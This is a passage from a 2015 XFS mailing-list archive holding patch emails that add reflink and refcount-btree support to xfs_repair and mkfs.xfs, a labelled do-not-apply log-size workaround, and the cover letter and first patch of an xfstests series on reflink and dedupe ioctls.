*rmap_bt, + bt_status_t *refcnt_bt) { extent_tree_node_t *ext_ptr; xfs_buf_t *agf_buf, *agfl_buf; @@ -1679,6 +1964,8 @@ build_agf_agfl(xfs_mount_t *mp, agf->agf_roots[XFS_BTNUM_RMAP] = cpu_to_be32(rmap_bt->root); agf->agf_levels[XFS_BTNUM_RMAP] = cpu_to_be32(rmap_bt->num_levels); agf->agf_freeblks = cpu_to_be32(freeblks); + agf->agf_refcount_root = cpu_to_be32(refcnt_bt->root); + agf->agf_refcount_level = cpu_to_be32(refcnt_bt->num_levels); /* * Count and record the number of btree blocks consumed if required. @@ -1796,6 +2083,10 @@ build_agf_agfl(xfs_mount_t *mp, ASSERT(be32_to_cpu(agf->agf_roots[XFS_BTNUM_BNOi]) != be32_to_cpu(agf->agf_roots[XFS_BTNUM_CNTi])); + ASSERT(be32_to_cpu(agf->agf_refcount_root) != + be32_to_cpu(agf->agf_roots[XFS_BTNUM_BNOi])); + ASSERT(be32_to_cpu(agf->agf_refcount_root) != + be32_to_cpu(agf->agf_roots[XFS_BTNUM_CNTi])); libxfs_writebuf(agf_buf, 0); @@ -1865,6 +2156,7 @@ phase5_func( bt_status_t ino_btree_curs; bt_status_t fino_btree_curs; bt_status_t rmap_btree_curs; + bt_status_t refcnt_btree_curs; int extra_blocks = 0; uint num_freeblocks; xfs_extlen_t freeblks1; @@ -1927,6 +2219,12 @@ phase5_func( */ init_rmapbt_cursor(mp, agno, &rmap_btree_curs); + /* + * Set up the btree cursors for the on-disk refcount btrees, + * which includes pre-allocating all required blocks. + */ + init_refc_cursor(mp, agno, &refcnt_btree_curs); + num_extents = count_bno_extents_blocks(agno, &num_freeblocks); /* * lose two blocks per AG -- the space tree roots @@ -2020,12 +2318,17 @@ phase5_func( rmap_btree_curs.num_free_blocks) - 1; } + if (xfs_sb_version_hasreflink(&mp->m_sb)) { + build_refcount_tree(mp, agno, &refcnt_btree_curs); + write_cursor(&refcnt_btree_curs); + } + /* * set up agf and agfl */ build_agf_agfl(mp, agno, &bno_btree_curs, &bcnt_btree_curs, freeblks1, extra_blocks, - &rmap_btree_curs); + &rmap_btree_curs, &refcnt_btree_curs); /* * build inode allocation tree. */ @@ -2056,6 +2359,8 @@ phase5_func( finish_cursor(&ino_btree_curs); if (xfs_sb_version_hasrmapbt(&mp->m_sb)) finish_cursor(&rmap_btree_curs); + if (xfs_sb_version_hasreflink(&mp->m_sb)) + finish_cursor(&refcnt_btree_curs); if (xfs_sb_version_hasfinobt(&mp->m_sb)) finish_cursor(&fino_btree_curs); finish_cursor(&bcnt_btree_curs); From darrick.wong@oracle.com Wed Oct 7 00:10:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B6D1729EFE for ; Wed, 7 Oct 2015 00:10:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 98C918F8035 for ; Tue, 6 Oct 2015 22:10:48 -0700 (PDT) X-ASG-Debug-ID: 1444194646-04cbb03f120db50001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id O16k1FOWvAcV9r11 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:46 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975AfM3022741 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:42 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975Af05004536 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:41 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975Aenh026033; Wed, 7 Oct 2015 05:10:40 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:40 -0700 Subject: [PATCH 50/51] mkfs.xfs: format reflink enabled filesystems From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 50/51] mkfs.xfs: format reflink enabled filesystems To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:10:39 -0700 Message-ID: <20151007051039.1504.53891.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194646 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.75 X-Barracuda-Spam-Status: No, SCORE=0.75 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_RULE_7580D, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 0.75 BSF_RULE_7580D Custom Rule 7580D Create the refcount btree at mkfs time and set the feature flag. Signed-off-by: Darrick J. Wong --- man/man8/mkfs.xfs.8 | 28 +++++++++++++++++++++++ mkfs/xfs_mkfs.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++---- 2 files changed, 85 insertions(+), 5 deletions(-) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 6260e0c..4caf7b1 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -169,6 +169,34 @@ will create free inode btrees for filesystems created with the (default) option set. When the option .B \-m crc=0 is used, the free inode btree feature is not supported and is disabled. +.TP +.BI reflink= value +This option enables the use of a separate reference count btree index in each +allocation group. The value is either 0 to disable the feature, or 1 to create +a reference count btree in each allocation group. +.IP +The reference count btree enables the sharing of physical extents between +the data forks of different files, which is commonly known as "reflink". +Unlike traditional Unix filesystems which assume that every inode and +logical block pair map to a unique physical block, a reflink-capable +XFS filesystem removes the uniqueness requirement, allowing up to four +billion arbitrary inode/logical block pairs to map to a physical block. +If a program tries to write to a multiply-referenced block in a file, the write +will be redirected to a new block, and that file's logical-to-physical +mapping will be changed to the new block ("copy on write"). This feature +enables the creation of per-file snapshots and deduplication. It is only +available for the data forks of regular files. +.IP +By default, +.B mkfs.xfs +will not create reference count btrees and therefore will not enable the +reflink feature. This feature is only available for filesystems created with +the (default) +.B \-m crc=1 +option set. When the option +.B \-m crc=0 +is used, the reference count btree feature is not supported and reflink is +disabled. .RE .TP .BI \-d " data_section_options" diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 573774c..556b691 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -183,6 +183,8 @@ char *mopts[] = { "finobt", #define M_RMAPBT 2 "rmapbt", +#define M_REFLINK 3 + "reflink", NULL }; @@ -950,6 +952,7 @@ main( bool finobtflag; int spinodes; bool rmapbt; + bool reflink; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -988,6 +991,7 @@ main( finobtflag = false; spinodes = 0; rmapbt = false; + reflink = false; memset(&fsx, 0, sizeof(fsx)); memset(&xi, 0, sizeof(xi)); @@ -1500,6 +1504,14 @@ main( illegal(value, "m rmapbt"); rmapbt = c; break; + case M_REFLINK: + if (!value || *value == '\0') + reqval('m', mopts, M_CRC); + c = atoi(value); + if (c < 0 || c > 1) + illegal(value, "m reflink"); + reflink = c; + break; default: unknown('m', value); } @@ -1862,6 +1874,12 @@ _("warning: rmapbt not supported without CRC support, disabled.\n")); rmapbt = 0; } + if (reflink && !crcs_enabled) { + fprintf(stderr, +_("warning: reflink not supported without CRC support, disabled.\n")); + reflink = false; + } + if (nsflag || nlflag) { if (dirblocksize < blocksize || dirblocksize > XFS_MAX_BLOCKSIZE) { @@ -2479,6 +2497,8 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), sbp->sb_features_ro_compat = XFS_SB_FEAT_RO_COMPAT_FINOBT; if (rmapbt) sbp->sb_features_ro_compat |= XFS_SB_FEAT_RO_COMPAT_RMAPBT; + if (reflink) + sbp->sb_features_ro_compat |= XFS_SB_FEAT_RO_COMPAT_REFLINK; if (loginternal) { /* @@ -2542,7 +2562,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), printf(_( "meta-data=%-22s isize=%-6d agcount=%lld, agsize=%lld blks\n" " =%-22s sectsz=%-5u attr=%u, projid32bit=%u\n" - " =%-22s crc=%-8u finobt=%u, sparse=%u, rmapbt=%u\n" + " =%-22s crc=%-8u finobt=%u, sparse=%u, rmapbt=%u, reflink=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" @@ -2551,7 +2571,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), "realtime =%-22s extsz=%-6d blocks=%lld, rtextents=%lld\n"), dfile, isize, (long long)agcount, (long long)agsize, "", sectorsize, attrversion, !projid16bit, - "", crcs_enabled, finobt, spinodes, rmapbt, + "", crcs_enabled, finobt, spinodes, rmapbt, reflink, "", blocksize, (long long)dblocks, imaxpct, "", dsunit, dswidth, dirversion, dirblocksize, nci, dirftype, @@ -2746,7 +2766,10 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), cpu_to_be32(XFS_RMAP_BLOCK(mp)); agf->agf_levels[XFS_BTNUM_RMAPi] = cpu_to_be32(1); } - + if (reflink) { + agf->agf_refcount_root = cpu_to_be32(xfs_refc_block(mp)); + agf->agf_refcount_level = cpu_to_be32(1); + } agf->agf_flfirst = 0; agf->agf_fllast = cpu_to_be32(XFS_AGFL_SIZE(mp) - 1); agf->agf_flcount = 0; @@ -2915,6 +2938,23 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), libxfs_writebuf(buf, LIBXFS_EXIT_ON_FAILURE); /* + * refcount btree root block + */ + if (reflink) { + buf = libxfs_getbuf(mp->m_ddev_targp, + XFS_AGB_TO_DADDR(mp, agno, xfs_refc_block(mp)), + bsize); + buf->b_ops = &xfs_refcountbt_buf_ops; + + block = XFS_BUF_TO_BLOCK(buf); + memset(block, 0, blocksize); + xfs_btree_init_block(mp, buf, XFS_REFC_CRC_MAGIC, 0, 0, + agno, XFS_BTREE_CRC_BLOCKS); + + libxfs_writebuf(buf, LIBXFS_EXIT_ON_FAILURE); + } + + /* * INO btree root block */ buf = libxfs_getbuf(mp->m_ddev_targp, @@ -3002,9 +3042,21 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); + /* account for refcount btree root */ + if (reflink) { + rrec = XFS_RMAP_REC_ADDR(block, 5); + rrec->rm_startblock = cpu_to_be32( + xfs_refc_block(mp)); + rrec->rm_blockcount = cpu_to_be32(1); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_REFC); + rrec->rm_offset = 0; + be16_add_cpu(&block->bb_numrecs, 1); + } + /* account for the log space */ if (loginternal && agno == logagno) { - rrec = XFS_RMAP_REC_ADDR(block, 5); + rrec = XFS_RMAP_REC_ADDR(block, + be16_to_cpu(block->bb_numrecs) + 1); rrec->rm_startblock = cpu_to_be32( XFS_FSB_TO_AGBNO(mp, logstart)); rrec->rm_blockcount = cpu_to_be32(logblocks); @@ -3253,7 +3305,7 @@ usage( void ) { fprintf(stderr, _("Usage: %s\n\ /* blocksize */ [-b log=n|size=num]\n\ -/* metadata */ [-m crc=0|1,finobt=0|1]\n\ +/* metadata */ [-m crc=0|1,finobt=0|1,reflink=0|1]\n\ /* data subvol */ [-d agcount=n,agsize=n,file,name=xxx,size=num,\n\ (sunit=value,swidth=value|su=num,sw=num|noalign),\n\ sectlog=n|sectsize=num\n\ From darrick.wong@oracle.com Wed Oct 7 00:10:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A86A629F0B for ; Wed, 7 Oct 2015 00:10:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7BDBD8F8037 for ; Tue, 6 Oct 2015 22:10:50 -0700 (PDT) X-ASG-Debug-ID: 1444194648-04bdf020db0eac0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id le68puGJte5AqhUf (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:48 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975AlDl018597 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:48 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975AlMv011481 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:47 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975AkvU010955; Wed, 7 Oct 2015 05:10:47 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:46 -0700 Subject: [PATCH 51/51] mkfs: hack around not having enough log blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 51/51] mkfs: hack around not having enough log blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:10:45 -0700 Message-ID: <20151007051045.1504.42037.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194648 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Under some circumstances I don't yet understand, mkfs underestimates the minimum log size and the kernel refuses to mount. Put in a crude hack so that this doesn't happen. DO NOT APPLY!!! Singed-off-by: Darrick J. Wong --- mkfs/xfs_mkfs.c | 1 + 1 file changed, 1 insertion(+) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 556b691..ab1e8f9 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2401,6 +2401,7 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), logversion, lsunit); ASSERT(min_logblocks); min_logblocks = MAX(XFS_MIN_LOG_BLOCKS, min_logblocks); +if (min_logblocks < 860) min_logblocks = 860; if (!logsize && dblocks >= (1024*1024*1024) >> blocklog) min_logblocks = MAX(min_logblocks, XFS_MIN_LOG_BYTES>>blocklog); if (logsize && xi.logBBsize > 0 && logblocks > DTOBT(xi.logBBsize)) { From darrick.wong@oracle.com Wed Oct 7 00:13:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1941E29EFE for ; Wed, 7 Oct 2015 00:13:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E986AC006 for ; Tue, 6 Oct 2015 22:13:03 -0700 (PDT) X-ASG-Debug-ID: 1444194781-04cb6c578a0dbb0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id xDGMBJXfOKFyz66J (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:01 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975CxUq020215 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:00 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975CxV0019750 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:12:59 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t975CxCT008825; Wed, 7 Oct 2015 05:12:59 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:12:59 -0700 Subject: [RFCv3 00/12] xfstests: test the btrfs/xfs reflink/dedupe ioctls From: "Darrick J. Wong" X-ASG-Orig-Subj: [RFCv3 00/12] xfstests: test the btrfs/xfs reflink/dedupe ioctls To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:12:57 -0700 Message-ID: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194781 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hi all, This is part of the third revision of an RFC for adding to XFS support for tracking reverse-mappings of physical blocks to file and metadata; and support for mapping multiple file logical blocks to the same physical block, more commonly known as reflinking. This patchset aims to make xfstests perform more rigorous testing of the btrfs/XFS file clone, reflink, and dedupe ioctls. There are now tests of the basic functionality of the three ioctls; tests to ensure that the filesystem exhibits the expected copy on write semantics; tests to try to suss out race conditions in the new write paths; tests to ensure that the ioctls peform basic disk accounting correctly; tests of the interaction between reflink and the various fallocate verbs (allocate, punch, collapse, insert zeroes); and some attempts to test the upper limits of reflinking and ENOSPC behavior. The tests have been totally rewritten since the last posting to drop FIEMAP usage; this should enable the tests to cover NFS and CIFS. Issues: * I think the race checks for dedupe could be a little sharper at finding mistakes. * I started the numbering really high to prevent the tests from colliding with whatever new tests might arrive; this will require some intervention to fix. * I don't have any interesting NFS/CIFS setups for test. :( If you're going to start using this mess, you probably ought to just pull from my github trees for kernel[1], xfsprogs[2], and xfstests[3]. They should just work with the btrfs that's in 4.3. Comments and questions are, as always, welcome. --D [1] https://github.com/djwong/linux-xfs-dev/commits/master [2] https://github.com/djwong/xfsprogs/commits/for-next [3] https://github.com/djwong/xfstests/commits/master From darrick.wong@oracle.com Wed Oct 7 00:13:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BF80329EFE for ; Wed, 7 Oct 2015 00:13:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A699B304043 for ; Tue, 6 Oct 2015 22:13:17 -0700 (PDT) X-ASG-Debug-ID: 1444194796-04cbb03f120dc20001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id ZSKIqC1LTk8Iwthw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:16 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975DEuT020565 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:14 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975DCN4011371 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:13:12 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975DCqK026805; Wed, 7 Oct 2015 05:13:12 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:11 -0700 Subject: [PATCH 01/12] xfs: fix merge errors in fuzzer tests From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 01/12] xfs: fix merge errors in fuzzer tests To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:04 -0700 Message-ID: <20151007051304.3260.66605.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194796 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Darrick J. Wong --- tests/xfs/085.out | 2 -- tests/xfs/098.out | 1 - tests/xfs/099.out | 2 +- tests/xfs/100.out | 2 +- tests/xfs/101.out | 2 +- tests/xfs/102.out | 2 +- 6 files changed, 4 insertions(+), 7 deletions(-) diff --git a/tests/xfs/085.out b/tests/xfs/085.out index 6303081..ff3dccd 100644 --- a/tests/xfs/085.out +++ b/tests/xfs/085.out @@ -5,8 +5,6 @@ QA output created by 085 + check fs + corrupt image + mount image -+ modify files -broken: 1 + repair fs + mount image (2) + chattr -R -i diff --git a/tests/xfs/098.out b/tests/xfs/098.out index 84a2b4d..ef0554d 100644 --- a/tests/xfs/098.out +++ b/tests/xfs/098.out @@ -5,7 +5,6 @@ QA output created by 098 + check fs + corrupt image + mount image -broken: 1 + repair fs + mount image (2) + chattr -R -i diff --git a/tests/xfs/099.out b/tests/xfs/099.out index 4426859..773200b 100644 --- a/tests/xfs/099.out +++ b/tests/xfs/099.out @@ -1,4 +1,4 @@ -QA output created by 016 +QA output created by 099 + create scratch fs + mount fs image + make some files diff --git a/tests/xfs/100.out b/tests/xfs/100.out index 98d8dbc..97dba7c 100644 --- a/tests/xfs/100.out +++ b/tests/xfs/100.out @@ -1,4 +1,4 @@ -QA output created by 017 +QA output created by 100 + create scratch fs + mount fs image + make some files diff --git a/tests/xfs/101.out b/tests/xfs/101.out index 49430f7..22ca620 100644 --- a/tests/xfs/101.out +++ b/tests/xfs/101.out @@ -1,4 +1,4 @@ -QA output created by 018 +QA output created by 101 + create scratch fs + mount fs image + make some files diff --git a/tests/xfs/102.out b/tests/xfs/102.out index 58f493c..d8a8fa1 100644 --- a/tests/xfs/102.out +++ b/tests/xfs/102.out @@ -1,4 +1,4 @@ -QA output created by 019 +QA output created by 102 + create scratch fs + mount fs image + make some files From darrick.wong@oracle.com Wed Oct 7 00:13:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9F54129EFE for ; Wed, 7 Oct 2015 00:13:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2FDBFAC006 for ; Tue, 6 Oct 2015 22:13:26 -0700 (PDT) X-ASG-Debug-ID: 1444194801-04bdf020da0ebc0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 3oUlIvnmCaJvPfeF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:22 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975DJUo020681 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:20 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com 